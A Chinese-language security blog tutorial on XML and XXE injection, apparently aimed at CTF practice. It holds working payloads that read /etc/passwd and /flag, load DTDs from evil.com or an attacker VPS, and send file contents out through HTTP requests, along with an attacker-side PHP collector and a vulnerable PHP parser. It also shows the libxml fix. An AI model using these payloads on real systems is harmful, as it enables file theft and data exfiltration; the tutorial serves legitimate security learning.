XML实体注入

Last updated on September 27, 2024 am

基础介绍

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言

XML文档结构

  • XML声明:<?xml version="1.0">

  • DTD文档类型定义

  • 文档元素

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" ?> <!--XML声明-->
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,bodys)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT bodys (#PCDATA)>
]><!--文档类型定义-->
<note>
<to>北京</to><from>石家庄</from>
<heading>wintrysec</heading><bodys>wintrysec.github.io</bodys>
</note><!--文档元素-->

优点

可以用于传输数据,可以跨越互联网任何的平台,不受编程语言和操作系统的限制,非常适合Web传输,而且xml有助于在服务器之间穿梭结构化数据,方便开发人员控制数据的存储和传输,。

作用

  • 配置应用程序和网站
  • 数据交互

语法

1
2
3
4
5
6
7
8
9
10
11
<!--内部声明DTD-->
<!DOCTYPE 根元素 [元素声明]>
<!--引用外部DTD-->
<!DOCTYPE 根元素 SYSTEM “文件名”><!DOCTYPE 根元素 PUBLIC “public_ID” “文件名”>

<!--内部声明实体-->
<!ENTITY 实体名称 “实体的值">
<!--引用外部实体-->
<!ENTITY 实体名称 SYSTEM “URI">
<!--或者-->
<!ENTITY 实体名称 PUBLIC “public_ID" “URI">

php中存在XXE的类

1
2
3
<?php
$xml_class=new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);

修复:禁止加载XML实体对象的方式

1
2
3
4
<?php
libxml_disable_entity_loader(true); //修复
$xml_class=new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);

XML外部实体注入(XXE)

注入的位置在DTD部分

本地引入

1
2
3
4
5
<?xml version="1.0" ?> <!--XML声明-->
<!DOCTYPE x[
<!ENTITY wintrysec SYSTEM "file:///etc/passwd">
]><!--文档类型定义-->
<test>&wintrysec;</test><!--文档元素-->

文档元素位置是为了限制回显所写的地方,文档元素标签是什么要根据题目修改

远程引入

方法一
1
2
3
4
5
6
<?xml version="1.0" ?> <!--XML声明-->
<!DOCTYPE x[
<!ENTITY %d SYSTEM "http://evil.com/evil.dtd">
%d;
]><!--文档类型定义-->
<test>&wintrysec;</test><!--文档元素-->

远程文件evil.dtd的内容为

1
<!ENTITY wintrysec SYSTEM “file:///etc/passwd">
方法二
1
2
3
<?xml version="1.0" ?>
<!DOCTYPE x SYSTEM "http://evil.com/evil.dtd">
<test>&wintrysec;</test>

无回显XXE(blind xxe)

可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器

后端xml.php 例子

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

vps上在网站根目录写xml.php

1
2
3
4
5
<?php 
$content = $_GET['q'];
$myFile = "flag.txt";
file_put_contents($myFile, $content, FILE_APPEND);
?>

vps上写eval.dtd,并用python -m http.server 8000 开发访问

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://vps/index.php?q=%file;'>">

不是php的话写

1
2
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://vps/index.php?q=%file;'>">

payload写

1
2
3
4
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/eval.dtd">
%remote;%int;%send;
]>

xxe lab


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2024/02/23/XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!